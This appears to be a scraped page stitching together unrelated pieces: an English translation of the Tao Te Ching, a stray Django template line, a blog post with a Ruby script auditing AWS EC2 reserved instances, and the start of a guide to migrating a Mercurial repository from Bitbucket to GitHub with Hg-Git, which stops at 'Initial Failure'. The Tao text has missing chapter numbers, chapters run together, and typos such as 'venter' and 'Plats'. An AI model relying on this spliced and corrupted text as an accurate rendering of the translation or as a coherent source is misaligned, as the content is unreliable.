Book One
1
The tao that can be told
is not the eternal Tao
The name that can be named
is not the eternal Name.
The unnamable is the eternally real.
Naming is the origin of all material things.
Free from desire, you realize the mystery.
Caught in desire, you see only the manifestations.
Yet mystery and manifestations
arise from the same source.
This source is called darkness.
Darkness within darkness.
The gateway to all understanding.
2
When people see some things as beautiful,
other things become ugly.
When people see some things as good,
other things become bad.
Being and non-being create each other.
Difficult and easy support each other.
Long and short define each other.
High and low depend on each other.
Before and after follow each other.
Therefore the Master
acts without doing anything
and teaches without saying anything.
Things arise and she lets them come;
things disappear and she lets them go.
She has but doesn’t possess,
acts but doesn’t expect.
When her work is done, she forgets it.
That is why it lasts forever.
3
If you overesteem great men,
people become powerless.
If you overvalue possessions,
people begin to steal.
The Master leads
by emptying people’s minds
and filling their cores,
by weakening their ambition
and toughening their resolve.
He helps people lose everything they know,
everything they desire,
and creates confusion
in those who think that they know.
Practice not-doing,
and everything will fall into place.
4
The Tao is like a well:
used but never used up.
It is like the eternal void:
filled with infinite possibilities.
It is hidden but always present.
I don’t know who gave birth to it.
It is older than God.
5
The Tao doesn’t take sides;
it gives birth to both good and evil.
The Master doesn’t take sides;
she welcomes both saints and sinners.
The Tao is like a bellows:
it is empty yet infinitely capable.
The more you use it, the more it produces;
the more you talk of it, the less you understand.
Hold on to the center.
6
The Tao is called the Great Mother:
empty yet inexhaustible,
it gives birth to infinite worlds.
It is always present within you.
You can use it any way you want.
7
The Tao is infinite, eternal.
Why is it eternal?
It was never born;
thus it can never die.
Why is it infinite?
It has no desires for itself;
thus it is present for all beings.
The Master stays behind;
that is why she is ahead.
She is detached from all things;
that is why she is one with them.
Because she has let go of herself,
she is perfectly fulfilled.
8
The supreme good is like water,
which nourishes all things without trying to.
It is content with the low places that people disdain.
Thus it is like the Tao.
In dwelling, live close to the ground.
In thinking, keep to the simple.
In conflict, be fair and generous.
In governing, don’t try to control.
In work, do what you enjoy.
In family life, be completely present.
When you are content to be simply yourself
and don’t compare or compete,
everybody will respect you.
9
Fill your bowl to the brim
and it will spill.
Keep sharpening your knife
and it will blunt.
Chase after money and security
and your heart will never unclench.
Care about people’s approval
and you will be their prisoner.
Do your work, then step back.
The only path to serenity.
10
Can you coax your mind from its wandering
and keep to the original oneness?
Can you let your body become
supple as a newborn child’s?
Can you cleanse your inner vision
until you see nothing but the light?
Can you love people and lead them
without imposing your will?
Can you deal with the most vital matters
by letting events take their course?
Can you step back from you own mind
and thus understand all things?
Giving birth and nourishing,
having without possessing,
acting with no expectations,
leading and not trying to control:
this is the supreme virtue.
11
We join spokes together in a wheel,
but it is the center hole
that makes the wagon move.
We shape clay into a pot,
but it is the emptiness inside
that holds whatever we want.
We hammer wood for a house,
but it is the inner space
that makes it livable.
We work with being,
but non-being is what we use.
12
Colors blind the eye.
Sounds deafen the ear.
Flavors numb the taste.
Thoughts weaken the mind.
Desires wither the heart.
The Master observes the world
but trusts his inner vision.
He allows things to come and go.
His heart is open as the sky.
13
Success is as dangerous as failure.
Hope is as hollow as fear.
What does it mean that success is as dangerous as failure?
Whether you go up the ladder or down it,
your position is shaky.
When you stand with your two feet on the ground,
you will always keep your balance.
What does it mean that hope is as hollow as fear?
Hope and fear are both phantoms
that arise from thinking of the self.
When we don’t see the self as self,
what do we have to fear?
See the world as your self.
Have faith in the way things are.
Love the world as your self;
then you can care for all things.
14
Look, and it can’t be seen.
Listen, and it can’t be heard.
Reach, and it can’t be grasped.
Above, it isn’t bright.
Below, it isn’t dark.
Seamless, unnamable,
it returns to the realm of nothing.
Form that includes all forms,
image without an image,
subtle, beyond all conception.
Approach it and there is no beginning;
follow it and there is no end.
You can’t know it, but you can be it,
at ease in your own life.
Just realize where you come from:
this is the essence of wisdom.
15
The ancient Masters were profound and subtle.
Their wisdom was unfathomable.
There is no way to describe it;
all we can describe is their appearance.
They were careful
as someone crossing an iced-over stream.
Alert as a warrior in enemy territory.
Courteous as a guest.
Fluid as melting ice.
Shapable as a block of wood.
Receptive as a valley.
Clear as a glass of water.
Do you have the patience to wait
till your mud settles and the water is clear?
Can you remain unmoving
till the right action arises by itself?
The Master doesn’t seek fulfillment.
Not seeking, not expecting,
she is present, and can welcome all things.
16
Empty your mind of all thoughts.
Let your heart be at peace.
Watch the turmoil of beings,
but contemplate their return.
Each separate being in the universe
returns to the common source.
Returning to the source is serenity.
If you don’t realize the source,
you stumble in confusion and sorrow.
When you realize where you come from,
you naturally become tolerant,
disinterested, amused,
kindhearted as a grandmother,
dignified as a king.
Immersed in the wonder of the Tao,
you can deal with whatever life brings you,
and when death comes, you are ready.
17
When the Master governs, the people
are hardly aware that he exists.
Next best is a leader who is loved.
Next, one who is feared.
The worst is one who is despised.
If you don’t trust the people,
you make them untrustworthy.
The Master doesn’t talk, he acts.
When his work is done,
the people say, "Amazing: we did it, all by ourselves!"
18
When the great Tao is forgotten,
goodness and piety appear.
When the body’s intelligence declines,
cleverness and knowledge step forth.
When there is no peace in the family,
filial piety begins.
When the country falls into chaos,
patriotism is born.
19
Throw away holiness and wisdom,
and people will be a hundred times happier.
Throw away morality and justice,
and people will do the right thing.
Throw away industry and profit,
and there won’t be any thieves.
If these three aren’t enough,
just stay at the center of the circle
and let all things take their course.
20
Stop thinking, and end your problems.
What difference between yes and no?
What difference between success and failure?
Must you value what others value,
avoid what others avoid?
How ridiculous! Other people are excited,
as though they were at a parade.
I alone don’t care,
I alone am expressionless,
like an infant before it can smile.
Other people have what they need;
I alone possess nothing.
I alone drift about,
like someone without a home.

Other people are bright;
I alone am dark.
Other people are sharper;
I alone am dull.
Other people have a purpose;
I alone don’t know.
I drift like a wave on the ocean,
I blow as aimless as the wind.
I am different from ordinary people.
I drink from the Great Mother’s breasts.
21
The Master keeps her mind
always at one with the Tao;
that is what gives her her radiance.
The Tao is ungraspable.
How can her mind be at one with it?
Because she doesn’t cling to ideas.
The Tao is dark and unfathomable.
How can it make her radiant?
Because she lets it.
Since before time and space were, the Tao is.
It is beyond is and is not.
How do I know this is true?

If you want to become straight,
let yourself be crooked.
If you want to become full,
let yourself be empty.

If you want to be given everything,
give everything up.
The Master, by residing in the Tao,
sets an example for all beings.
Because he doesn’t display himself,
people can see his light.
Because he has nothing to prove,
people can trust his words.
Because he doesn’t know who he is,
people recognize themselves in him.
Because he has no goad in mind,
everything he does succeeds.
When the ancient Masters said,
"If you want to be given everything, give everything up,"
they weren’t using empty phrases.
Only in being lived by the Tao can you be truly yourself.
23
Express yourself completely,
then keep quiet.
Be like the forces of nature:
when it blows, there is only wind;
when it rains, there is only rain;
when the clouds pass, the sun shines through.
If you open yourself to the Tao,
you are at one with the Tao
and you can embody it completely.
If you open yourself to insight,
you are at one with insight
and you can use it completely.
If you open yourself to loss,
you are at one with loss
and you can accept it completely.
Open yourself to the Tao,
then trust your natural responses;
and everything will fall into place.
24
He who stands on tiptoe
doesn’t stand firm.
He who rushes ahead
doesn’t go far.
He who tries to shine
dims his own light.
He who defines himself
can’t know who he really is.
He who has power over others
can’t empower himself.
He who clings to his work
will create nothing that endures.
If you want to accord with the Tao,
just do your job,
then let go.
25
There was something formless and perfect
before the universe was born.
It is serene. Empty.
Solitary. Unchanging.
Infinite. Eternally present.
It is the mother of the universe.
For lack of a better name,
I call it the Tao.
It flows through all things,
inside and outside, and returns
to the origin of all things.
The Tao is great.
The universe is great.
Earth is great.
Man is great.
These are the four great powers.
Man follows the earth.
Earth follows the universe.
The universe follows the Tao.
The Tao follows only itself.
26
The heavy is the root of the light.
The unmoved is the source of all movement.
Thus the Master travels all day
without leaving home.
However splendid the views,
she stays serenely in herself.
Why should the lord of the country
flit about like a fool?
If you let yourself be blown to and fro,
you lose touch with your root.

A good artist lets his intuition
lead him wherever it wants.
A good scientist has freed himself of concepts
and keeps his mind open to what is.
Thus the Master is available to all people
and doesn’t reject anyone.
He is ready to use all situations
and doesn’t waste anything.
This is called embodying the light.
What is a good man but a bad man’s teacher?
What is a bad man but a good man’s job?
If you don’t understand this,
you will get lost,
however intelligent you are.
It is the great secret.
28
Know the male,
yet keep to the female:
receive the world in your arms.
If you receive the world,
the Tao will never leave you
and you will be like a little child.
Know the white,
yet keep to the black:
be a pattern for the world.

Know the personal,
yet keep to the impersonal:
accept the world as it is.
If you accept the world,
the Tao will be luminous inside you
and you will return to your primal self.
The world is formed from the void,
like utensils from a block of wood.
The Master knows the utensils,
yet keeps to the the block:
thus she can use all things.
29
Do you want to improve the world?
I don’t think it can be done. The world is sacred.
It can’t be improved.
If you tamper with it, you’ll ruin it.
If you treat it like an object, you’ll lose it.
There is a time for being ahead,
a time for being behind;
a time for being in motion,
a time for being at rest;
a time for being vigorous,
a time for being exhausted;
a time for being safe,
a time for being in danger.
The Master sees things as they are,
without trying to control them.
She lets them go their own way,
and resides at the center of the circle.
30
Whoever relies on the Tao in governing men
doesn’t try to force issues
or defeat enemies by force of arms.
For every force there is a counterforce.
Violence, even well intentioned,
always rebounds upon oneself.
The Master does his job
and then stops.
He understands that the universe
is forever out of control,
and that trying to dominate events
goes against the current of the Tao.
Because he believes in himself,
he doesn’t try to convince others.
Because he is content with himself,
he doesn’t need others’ approval.
Because he accepts himself,
the whole world accepts him.
31
Weapons are the tools of violence;
all decent men detest them.
Weapons are the tools of fear;
a decent man will avoid them
except in the direst necessity
and, if compelled, will use them
only with the utmost restraint.
Peace is his highest value.
If the peace has been shattered,
how can he be content?
His enemies are not demons,
but human beings like himself.
He doesn’t wish them personal harm.
Nor does he rejoice in victory.
How could he rejoice in victory
and delight in the slaughter of men?
He enters a battle gravely,
with sorrow and with great compassion,
as if he were attending a funeral.
32
The Tao can’t be perceived.
Smaller than an electron,
it contains uncountable galaxies.
If powerful men and women
could remain centered in the Tao,
all things would be in harmony.
The world would become a paradise.
All people would be at peace,
and the law would be written in their hearts.
When you have names and forms,
know that they are provisional.
When you have institutions,
know where their functions should end.
Knowing when to stop,
you can avoid any danger.
All things end in the Tao
as rivers flow into the sea.
33
Knowing others is intelligence;
knowing yourself is true wisdom.
Mastering others is strength;
mastering yourself is true power.
If you realize that you have enough,
you are truly rich.
If you stay in the center
and embrace death with your whole heart,
you will endure forever.
34
The great Tao flows everywhere.
All things are born from it,
yet it doesn’t create them.
It pours itself into its work,
yet it makes no claim.
It nourishes infinite worlds,
yet it doesn’t hold on to them.
Since it is merged with all things
and hidden in their hearts,
it can be called humble.
Since all things vanish into it
and it alone endures,
it can be called great.
It isn’t aware of its greatness;
thus it is truly great.
35
She who is centered in the Tao
can go where she wishes, without danger.
She perceives the universal harmony,
even amid great pain,
because she has found peace in her heart.
Music or the smell of good cooking
may make people stop and enjoy.
But words that point to the Tao
seem monotonous and without flavor.
When you look for it, there is nothing to see.
When you listen for it, there is nothing to hear.
When you use it, it is inexhaustible.
36
If you want to shrink something,
you must first allow it to expand.
If you want to get rid of something,
you must first allow it to flourish.
If you want to take something,
you must first allow it to be given.
This is called the subtle perception
of the way things are.
The soft overcomes the hard.
The slow overcomes the fast.
Let your workings remain a mystery.
Just show people the results.
37
The Tao never does anything,
yet through it all things are done.
If powerful men and women
could venter themselves in it,
the whole world would be transformed
by itself, in its natural rhythms.
People would be content
with their simple, everyday lives,
in harmony, and free of desire.
When there is no desire,
all things are at peace.
Book Two
38
The Master doesn’t try to be powerful;
thus he is truly powerful.
The ordinary man keeps reaching for power;
thus he never has enough.
The Master does nothing,
yet he leaves nothing undone.
The ordinary man is always doing things,
yet many more are left to be done.
The kind man does something,
yet something remains undone.
The just man does something,
and leaves many things to be done.
The moral man does something,
and when no one responds
he rolls up his sleeves and uses force.
When the Tao is lost, there is goodness.
When goodness is lost, there is morality.
When morality is lost, there is ritual.
Ritual is the husk of true faith,
the beginning of chaos.
Therefore the Master concerns himself
with the depths and not the surface,
with the fruit and not the flower.
He has no will of his own.
He dwells in reality,
and lets all illusions go.
39
In harmony with the Tao,
the sky is clear and spacious,
the earth is solid and full,
all creature flourish together,
content with the way they are,
endlessly repeating themselves,
endlessly renewed.
When man interferes with the Tao,
the sky becomes filthy,
the earth becomes depleted,
the equilibrium crumbles,
creatures become extinct.
The Master views the parts with compassion,
because he understands the whole.
His constant practice is humility.
He doesn’t glitter like a jewel
but lets himself be shaped by the Tao,
as rugged and common as stone.
40
Return is the movement of the Tao.
Yielding is the way of the Tao.
All things are born of being.
Being is born of non-being.
41
When a superior man hears of the Tao,
he immediately begins to embody it.
When an average man hears of the Tao,
he half believes it, half doubts it.
When a foolish man hears of the Tao,
he laughs out loud.
If he didn’t laugh,
it wouldn’t be the Tao. Thus it is said:
The path into the light seems dark,
the path forward seems to go back,
the direct path seems long,
true power seems weak,
true purity seems tarnished,
true steadfastness seems changeable,
true clarity seems obscure,
the greatest are seems unsophisticated,
the greatest love seems indifferent,
the greatest wisdom seems childish.
The Tao is nowhere to be found.
Yet it nourishes and completes all things.
42
The Tao gives birth to One.
One gives birth to Two.
Two gives birth to Three.
Three gives birth to all things.
All things have their backs to the female
and stand facing the male.
When male and female combine,
all things achieve harmony.
Ordinary men hate solitude.
But the Master makes use of it,
embracing his aloneness,
realizing he is one with the whole universe.
43
The gentlest thing in the world
overcomes the hardest thing in the world.
That which has no substance
enters where there is no space.
This shows the value of non-action.
Teaching without words,
performing without actions:
that is the Master’s way.
44
Fame or integrity: which is more important?
Money or happiness: which is more valuable?
Success of failure: which is more destructive?
If you look to others for fulfillment,
you will never truly be fulfilled.
If your happiness depends on money,
you will never be happy with yourself.
Be content with what you have;
rejoice in the way things are.
When you realize there is nothing lacking,
the whole world belongs to you.
45
True perfection seems imperfect,
yet it is perfectly itself.
True fullness seems empty,
yet it is fully present.
True straightness seems crooked.
True wisdom seems foolish.
True art seems artless.
The Master allows things to happen.
She shapes events as they come.
She steps out of the way
and lets the Tao speak for itself.
46
When a country is in harmony with the Tao,
the factories make trucks and tractors.
When a country goes counter to the Tao,
warheads are stockpiled outside the cities.
There is no greater illusion than fear,
no greater wrong than preparing to defend yourself,
no greater misfortune than having an enemy.
Whoever can see through all fear
will always be safe.
47
Without opening your door,
you can open your heart to the world.
Without looking out your window,
you can see the essence of the Tao.
The more you know,
the less you understand.
The Master arrives without leaving,
sees the light without looking,
achieves without doing a thing.
48
In pursuit of knowledge,
every day something is added.
In the practice of the Tao,
every day something is dropped.
Less and less do you need to force things,
until finally you arrive at non-action.
When nothing is done,
nothing is left undone.
True mastery can be gained
by letting things go their own way.
It can’t be gained by interfering.
49
The Master has no mind of her own.
She works with the mind of the people.
She is good to people who are good.
She is also good to people who aren’t good.
This is true goodness.
She trusts people who are trustworthy.
She also trusts people who aren’t trustworthy.
This is true trust.
The Master’s mind is like space.
People don’t understand her.
They look to her and wait.
She treats them like her own children.
50
The Master gives himself up
to whatever the moment brings.
He knows that he is going to die,
and her has nothing left to hold on to:
no illusions in his mind,
no resistances in his body.
He doesn’t think about his actions;
they flow from the core of his being.
He holds nothing back from life;
therefore he is ready for death,
as a man is ready for sleep
after a good day’s work.
51
Every being in the universe
is an expression of the Tao.
It springs into existence,
unconscious, perfect, free,
takes on a physical body,
lets circumstances complete it.
That is why every being
spontaneously honors the Tao.
The Tao gives birth to all beings,
nourishes them, maintains them,
cares for them, comforts them,
protects them, takes them back to itself,
creating without possessing,
acting without expecting,
guiding without interfering.
That is why love of the Tao
is in the very nature of things.
52
In the beginning was the Tao.
All things issue from it;
all things return to it.
To find the origin,
trace back the manifestations.
When you recognize the children
and find the mother,
you will be free of sorrow.
If you close your mind in judgements
and traffic with desires,
your heart will be troubled.
If you keep your mind from judging
and aren’t led by the senses,
your heart will find peace.
Seeing into darkness is clarity.
Knowing how to yield is strength.
Use your own light
and return to the source of light.
This is called practicing eternity.
53
The great Way is easy,
yet people prefer the side paths.
Be aware when things are out of balance.
Stay centered within the Tao.
When rich speculators prosper
While farmers lose their land;
when government officials spend money
on weapons instead of cures;
when the upper class is extravagant and irresponsible
while the poor have nowhere to turn-
all this is robbery and chaos.
It is not in keeping with the Tao.
54
Whoever is planted in the Tao
will not be rooted up.
Whoever embraces the Tao
will not slip away.
Her name will be held in honor
from generation to generation.

Let it be present in your family
and your family will flourish.

Let it be present in the universe
and the universe will sing.
How do I know this is true?
By looking inside myself.
55
He who is in harmony with the Tao
is like a newborn child.
Its bones are soft, its muscles are weak,
but its grip is powerful.

The Master’s power is like this.
He lets all things come and go effortlessly,
without desire.
He never expects results;
thus he is never disappointed.
He is never disappointed;
thus his spirit never grows old.
56
Those who know don’t talk.
Those who talk don’t know.

This is the primal identity.
Be like the Tao.
It can’t be approached or withdrawn from,
benefited or harmed,
honored or brought into disgrace.
It gives itself up continually.
That is why it endures.
57
If you want to be a great leader,
you must learn to follow the Tao.
Stop trying to control.
Let go of fixed plans and concepts,
and the world will govern itself.
The more prohibitions you have,
the less virtuous people will be.
The more weapons you have,
the less secure people will be.
The more subsidies you have,
the less self-reliant people will be.

I let go of economics,
and people become prosperous.
I let go of religion,
and people become serene.
I let go of all desire for the common good,
and the good becomes common as grass.
58
If a country is governed with tolerance,
the people are comfortable and honest.
If a country is governed with repression,
the people are depressed and crafty.
When the will to power is in charge,
the higher the ideals, the lower the results.
Try to make people happy,
and you lay the groundwork for misery.
Try to make people moral,
and you lay the groundwork for vice.
Thus the Master is content
to serve as an example
and not to impose her will.
She is pointed, but doesn’t pierce.
Straightforward, but supple.
Radiant, but easy on the eyes.
59
For governing a country well
there is nothing better than moderation.
The mark of a moderate man
is freedom from his own ideas.
Tolerant like the sky,
all-pervading like sunlight,
firm like a mountain,
supple like a tree in the wind,
he has no destination in view
and makes use of anything
life happens to bring his way.
Nothing is impossible for him.

You spoil it with too much poking.
Center your country in the Tao
and evil will have no power.
Not that it isn’t there,
but you’ll be able to step out of its way.
Give evil nothing to oppose
and it will disappear by itself.
61
When a country obtains great power,
it becomes like the sea:
all streams run downward into it.
The more powerful it grows,
the greater the need for humility.
Humility means trusting the Tao,
thus never needing to be defensive.
A great nation is like a great man:
When he makes a mistake, he realizes it.
Having realized it, he admits it.
Having admitted it, he corrects it.
He considers those who point out his faults
as his most benevolent teachers.
He thinks of his enemy
as the shadow that he himself casts.
If a nation is centered in the Tao,
if it nourishes its own people
and doesn’t meddle in the affairs of others,
it will be a light to all nations in the world.
62
The Tao is the center of the universe,
the good man’s treasure,
the bad man’s refuge.
Honors can be bought with fine words,
respect can be won with good deeds;
but the Tao is beyond all value,
and no one can achieve it.
Thus, when a new leader is chosen,
don’t offer to help him
with your wealth or your expertise.
Offer instead
to teach him about the Tao.
Why did the ancient Masters esteem the Tao?
Because, being one with the Tao,
when you seek, you find;
and when you make a mistake, you are forgiven.
That is why everybody loves it.
63
Act without doing;
work without effort.
Think of the small as large
and the few as many.
Confront the difficult
while it is still easy;
accomplish the great task
by a series of small acts.
The Master never reaches for the great;
thus she achieves greatness.
When she runs into a difficulty,
she stops and gives herself to it.
She doesn’t cling to her own comfort;
thus problems are no problem for her.
64
What is rooted is easy to nourish.
What is recent is easy to correct.
What is brittle is easy to break.
What is small is easy to scatter.
Prevent trouble before it arises.
Put things in order before they exist.
The giant pine tree
grows from a tiny sprout.
The journey of a thousand miles
starts from beneath your feet.
Rushing into action, you fail.
Trying to grasp things, you lose them.
Forcing a project to completion,
you ruin what was almost ripe.
Therefore the Master takes action
by letting things take their course.
He remains as calm
at the end as at the beginning.
He has nothing,
thus has nothing to lose.
What he desires is non-desire;
what he learns is to unlearn.
He simply reminds people
of who they have always been.
He cares about nothing but the Tao.
Thus he can care for all things.
65
The ancient Masters
didn’t try to educate the people,
but kindly taught them to not-know.
When they think that they know the answers,
people are difficult to guide.
When they know that they don’t know,
people can find their own way.
If you want to learn how to govern,
avoid being clever or rich.
The simplest pattern is the clearest.
Content with an ordinary life,
you can show all people the way
back to their own true nature.
66
All streams flow to the sea
because it is lower than they are.
Humility gives it its power.
If you want to govern the people,
you must place yourself below them.
If you want to lead the people,
you must learn how to follow them.
The Master is above the people,
and no one feels oppressed.
She goes ahead of the people,
and no one feels manipulated.
The whole world is grateful to her.
Because she competes with no one,
no one can compete with her.
67
Some say that my teaching is nonsense.
Others call it lofty but impractical.
But to those who have looked inside themselves,
this nonsense makes perfect sense.
And to those who put it into practice,
this loftiness has roots that go deep.
I have just three things to teach:
simplicity, patience, compassion.
These three are your greatest treasures.
Simple in actions and in thoughts,
you return to the source of being.
Patient with both friends and enemies,
you accord with the way things are.
Compassionate toward yourself,
you reconcile all beings in the world.
68
The best athlete
wants his opponent at his best.
The best general
enters the mind of his enemy.
The best businessman
serves the communal good.
The best leader
follows the will of the people.
All of the embody
the virtue of non-competition.
Not that they don’t love to compete,
but they do it in the spirit of play.
In this they are like children
and in harmony with the Tao.
69
The generals have a saying:
"Rather than make the first move
it is better to wait and see.
Rather than advance an inch
it is better to retreat a yard."
This is called going forward without advancing,
pushing back without using weapons.
There is no greater misfortune
than underestimating your enemy.
Underestimating your enemy
means thinking that he is evil.

When two great forces oppose each other,
the victory will go
to the one that knows how to yield.
70
My teachings are easy to understand
and easy to put into practice.
Yet your intellect will never grasp them,
and if you try to practice them, you’ll fail.
My teachings are older than the world.
How can you grasp their meaning?
If you want to know me,
look inside your heart.
71
Not-knowing is true knowledge.
Presuming to know is a disease.
First realize that you are sick;
then you can move toward health.
The Master is her own physician.
She has healed herself of all knowing.
Thus she is truly whole.
72
When they lose their sense of awe,
people turn to religion.
When they no longer trust themselves,
they begin to depend upon authority.
Therefore the Master steps back
so that people won’t be confused.
He teaches without a teaching,
so that people will have nothing to learn.
73
The Tao is always at ease.
It overcomes without competing,
answers without speaking a word,
arrives without being summoned,
accomplishes without a plan.
Its net covers the whole universe.
And though its meshes are wide,
it doesn’t let a thing slip through.
74
If you realize that all things change,
there is nothing you will try to hold on to.
If you aren’t afraid of dying,
there is nothing you can’t achieve.
Trying to control the future
is like trying to take the master carpenter’s place.

When the government is too intrusive,
people lose their spirit.
Act for the people’s benefit.
Trust them; leave them alone.
76
Men are born soft and supple;
dead, they are stiff and hard.
Plats are born tender and pliant;
dead, they are brittle and dry.
Thus whoever is stiff and inflexible
is a disciple of death.
Whoever is soft and yielding
is a disciple of life.
The hard and stiff will be broken.
The soft and supple will prevail.
77
As it acts in the world, the Tao
is like the bending of a bow.
The top is bent downward;
the bottom is bent up.
It adjusts excess and deficiency
so that there is perfect balance.
It takes from what is too much
and give to what isn’t enough.
Those who try to control,
who use force to protect their power,
go against the direction of the Tao.
They take from those who don’t have enough
and give to those who have far too much.
The Master can keep giving
because there is no end to her wealth.
She acts without expectation,
succeeds without taking credit,
and doesn’t think that she is better
than anyone else.
78
Nothing in the world
is as soft and yielding as water.
Yet for dissolving the hard and inflexible,
nothing can surpass it.
The soft overcomes the hard;
the gentle overcomes the rigid.
Everyone knows this is true,
but few can put it into practice.
Therefore the Master remains
serene in the midst of sorrow.
Evil cannot enter his heart.
Because he has given up helping,
he is people’s greatest help.
True words seem paradoxical.
79
Failure is an opportunity.
If you blame someone else,
there is no end to the blame.
Therefore the Master
fulfills her own obligations
and corrects her own mistakes.
She does what she needs to do
and demands nothing of others.
80
If a country is governed wisely,
its inhabitants will be content.
They enjoy the labor of their hands
and don’t waste time inventing
labor-saving machines.
Since they dearly love their homes,
they aren’t interested in travel.
There may be a few wagons and boats,
but these don’t go anywhere.
There may be an arsenal of weapons,
but nobody ever uses them.
People enjoy their food,
take pleasure in being with their families,
spend weekends working in their gardens,
delight in the doings of the neighborhood.
And even though the next country is so close
that people can hear its roosters crowing and its dogs barking,
they are content to die of old age
without ever having gone to see it.
81
True words aren’t eloquent;
eloquent words aren’t true.
Wise men don’t need to prove their point;
men who need to prove their point aren’t wise.
The Master has no possessions.
The more he does for others,
the happier he is.
The more he gives to others,
the wealthier he is.
The Tao nourishes by not forcing.
By not dominating, the Master leads.


{% extends "base_generic.html" %} {% block content %}
There are no events assigned to you / your profile


The Story
Since we tend to hold our AWS EC2 VMs for a long time, we usually reserve them.
Reservations are like pre-buying instances - you pay AWS ahead of time for (let's say) a year, and get a discounted price.
The insterestng thing about EC2 reservations is that they aren't tied to a specific instance.
Pro: You can terminate one instance and create another one of the same type, and still enjoy the discounted price of the reservation.
Con: There is no way to tell whether a specific instance is reserved or not. This means that when resizing/moving a reserved instance, locating and modifying the reservation is up to you.
To combat this issue, I made the following changes:
- All instances have a tag named "Reserve", which contains "True" or "False" (depending on whether you want to reserve that instance, because it's going to stay with you for a while).
- I run a script once in a while, which checks whether our reservations match our actual instances. I buy/modify our reservations accordingly.
- I'm planning to automate the purchase of reservations using another script. Since this involves spending money, I'm more hesitant to automate it.
The script
This script outputs a csv/yaml report of instances and reservations, grouped by regions, availability zones, instance types, VPC and OS type (we only have Windows and Linux instances).
#!/usr/bin/env ruby
# Monkeypatching
class Array
def to_h
Hash[self]
end
end
class String
def to_bool
return true if self == true || self =~ (/(true|t|yes|y|1)$/i)
return false if self == false || self.empty? || self =~ (/(false|f|no|n|0)$/i)
raise ArgumentError.new("invalid value for Boolean: \"#{self}\"")
end
end
require 'optparse'
options = {format:'csv'}
OptionParser.new do |opts|
opts.banner = "Usage: find-reservations.rb [options]"
opts.on("-fFORMAT", "--format=FORMAT","Format (csv/yaml)") do |n|
options[:format] = n
end
end.parse!
require 'aws-sdk-core'
instances=[]
reservations=[]
cp=Aws::EC2::Client.new region: 'us-east-1'
# Go over all regions
cp.describe_regions.regions.map{|m|m.region_name}.each{|r|
c=Aws::EC2::Client.new region: r
reservations+=c.describe_reserved_instances.to_hash[:reserved_instances].select{|r|r[:state]=~/active|payment-pending/}
instances+=c.describe_instances.to_hash[:reservations].map{|n|n[:instances]}.flatten.select{|i|i[:state][:code]==16}
}
# Only add instances with "Reserve=True"
instances=instances.select{|i|i[:tags].any?{|t|t[:key]=='Reserve' && t[:value].to_bool}}
res_group=reservations.group_by{|n|[
n[:availability_zone], #region
n[:instance_type], #instance type
n[:product_description].include?('Amazon VPC'), # is_vpc
n[:product_description][/Linux/i].nil? #is_windows
]}.map{|k,v|[k,[
v.map{|r|r[:instance_count]}.inject(0,:+), # current instances
v.map{|r|r[:end]}.sort.first]] # next expiration
}.to_h
ins_group=instances.group_by{|n|[
n[:placement][:availability_zone],
n[:instance_type],
!n[:vpc_id].nil?,
!n[:platform].to_s[/windows/i].nil?
]}.map{|k,v|[k,v.count]}.to_h
aggr=(ins_group.keys|res_group.keys).map{|k|
is=(ins_group[k] || 0);
rs=(res_group[k] || [0])[0];
[k,{:instances=>is,:reservations=>rs,:surplus=>(rs-is),
:next_expiration=>(res_group[k]||['?','?'])[1]
}]}
tbl=aggr.map{|k,v|
{region:k[0],size:k[1],is_vpc:k[2],is_windows:k[3]}.merge(v)
}
# Sort table
tbl.sort_by!{|r|r.values.collect{|v|v.to_s}}
# Export
case options[:format].downcase
when 'yaml'
require 'yaml'
puts tbl.to_yaml
when 'csv'
require 'csv'
puts (tbl.first.keys.to_csv)
tbl.each{|r|puts r.values.to_csv}
else
raise 'bad format'
end
The output looks like this:
eu-west-1c,c3.large,false,false,3,3,0,2015-06-23 12:47:31 UTC
us-east-1a,c3.2xlarge,false,false,1,1,0,2015-11-04 15:41:34 UTC
us-east-1a,c3.2xlarge,true,false,3,1,-2,2015-09-30 13:10:08 UTC
us-east-1b,c3.large,true,false,10,10,0,2016-01-27 14:03:56 UTC
us-east-1b,m3.large,true,false,5,0,-5,?
us-west-2a,c3.2xlarge,true,false,3,2,-1,2016-01-26 14:07:23 UTC
Interesting things
- I monkey patched
Array#to_h
(which is present in ruby 2), andString#to_bool
. - Note the way I'm collecting data from all regions. I first create a client on
us-east-1
only to collect the regions usingdescribe_regions.regions.map{|m|m.region_name}
, and for each region I'm creating a new client and collecting the data from that region. - When sorting the table, I can't sort by the actual values (e.g.
tbl.sort_by!{|r|r.values}
), because I have boolean values and booleans can't be compared (try runningfalse>true
and see what happens), so I used the string equivalent of all values (tbl.sort_by!{|r|r.values.collect{|v|v.to_s}}
)


Migrating From Bitbucket to GitHub
Git and Mercurial certainly have their differences, but in the grand scheme of things they are both equally-viable source control tools. Bitbucket and GitHub are also both equally-viable hosts for Mercurial and Git projects.
All other things being equal, when it comes to open-source software the Capricious and Arbitrary Popularity Contest kicks in with the deciding vote. Git, and in particular GitHub, has won the popularity contest in recent years and will own the title of Open Source Thingamabob for the near future. Something cooler will come along and take its place, but for now GitHub is the place to be.
We still trust Bitbucket with our client work, but we’re in the process of migrating our open-source projects to the new GitHub “HeadspringLabs” organization.
After a few failed attempts and much gnashing of teeth, I successfully migrated the Enumeration project from Bitbucket to GitHub, complete with history.
Installing Hg-Git on Windows
If you’re migrating a Subversion project to GitHub, they already provide an simple import service. They don’t yet offer a tool for importing Mercurial repositories, though, so I found a Mercurial-to-Git bridge called Hg-Git.
Hg-Git is intended to let you work continuously against a Git repository while using Mercurial tools on the client side. I didn’t need all that, but it can also be used to do the initial push to GitHub from within a Mercurial repository.
The documentation on the Hg-Git’s main site is a little brief, and after Googling around I found some good advice as well as some good advice that no longer applied. To get Hg-Git installed on Windows, here’s all you really need to do:
- Install a recent TortoiseHg if you haven’t already. I used TortoiseHg 2.3 (Mercurial 2.1).
- Open a command window and
cd
to a development folder. We’ll be creating some repository folders underneath it:
$cd C:dev
- You install Hg-Git by simply cloning its own repository off of Bitbucket:
$hg clone https://bitbucket.org/durin42/hg-git
This creates a new folder named hg-git under the current directory, and underneath that you’ll see a folder named hggit. - Mercurial needs to be told that this extension exists. Update C:\Users\<username>\mercurial.ini and add the following (using whatever path you cloned to):
[extensions]
bookmarks =
hggit = C:devhg-githggit - Confirm that Mercurial knows what hggit is:
$hg help hggit
Initial Failure
You’ll need to have a new empty repository created on GitHub, and you’ll need to have the rights to push to it. You’ll need to have a local clone of the Bitbucket project you wish to migrate.
